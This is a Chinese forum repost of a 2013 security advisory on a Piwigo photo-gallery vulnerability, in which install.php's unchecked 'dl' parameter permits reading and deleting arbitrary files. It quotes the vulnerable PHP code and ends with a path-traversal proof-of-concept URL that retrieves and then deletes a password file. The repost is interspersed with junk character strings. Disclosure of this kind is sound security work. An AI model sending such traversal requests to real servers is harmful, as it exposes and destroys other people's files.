找回密码
 立即注册
查看: 3251|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
  R# K: m) U/ ?3 o) J- F" ?  }8 r; C
0 X/ H6 A5 G6 N9 fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。( g- i% l& j+ T, _; T! ^3 R
====================================================================
  |7 {/ g  J  ~( e0 ?: [0 O7 y/install.php:; g& r. [. y9 [8 F" s- [  E
-------------
: x' [$ o9 H) k' D9 P! Y5 Y# m113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
) }9 s# x$ Z! A& ~114: {
6 Y  n0 v) }9 T9 P% s7 @115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' o+ T  E; S: D% v$ R5 W116:   header('Cache-Control: no-cache, must-revalidate');
1 w( Q, ?# g: I117:   header('Pragma: no-cache');
. _1 g1 o& J& H+ r118:   header('Content-Disposition: attachment; filename="database.inc.php"');/ h6 y6 H" a- E3 X4 b! }' J- P
119:   header('Content-Transfer-Encoding: binary');
2 [2 p) O, s7 P/ t120:   header('Content-Length: '.filesize($filename));
& x3 ^) [  a3 d* s; {* T121:   echo file_get_contents($filename);9 X/ K( l7 n: B
122:   unlink($filename);
3 ~8 p. x2 [1 u- v' r123:   exit();
7 [- m5 X  r7 G7 G124: }
& m$ E3 E  r3 e+ l; S====================================================================( V! a, o7 Z5 w; f0 Q

- R0 p$ ^+ K% X. t( y2 _1 _2 ]7 vTested on: Microsoft Windows 7 Ultimate SP1 (EN)  g* E# n4 X3 F& z
           Apache 2.4.2 (Win32)
' O, u1 U; K: a3 J           PHP 5.4.4/ R# w1 [* Y/ o; Y( A: V" q
           MySQL 5.5.25a
0 q! ^; ^- B+ X/ z2 P, q - V  \* I" r! s' {
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic1 p3 R- w+ p# L, F8 b6 L- M; h& D
                            @zeroscience
% j5 o$ T% e& C' ?8 Q
  `* s/ W1 g' J: t& vAdvisory ID: ZSL-2013-5127
4 w: ^& ^7 j) w1 \) {, M2 z, CAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php4 S2 v% r+ {  j( @( A" V
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843  J$ W& W( L2 M# ?9 [: B& u, V( N
- H1 L1 o9 W* R1 Q" _0 R# v/ p
15.02.20135 l7 E( r! F( C4 ?7 G- P6 b3 ~

0 p% M) w0 w" _# j- t$ f/ o--( M2 f9 P7 j; b
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt3 ?+ {# ~  m; k1 @, h0 w& L% O/ H

+ @0 `# A2 D+ q! d$ u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表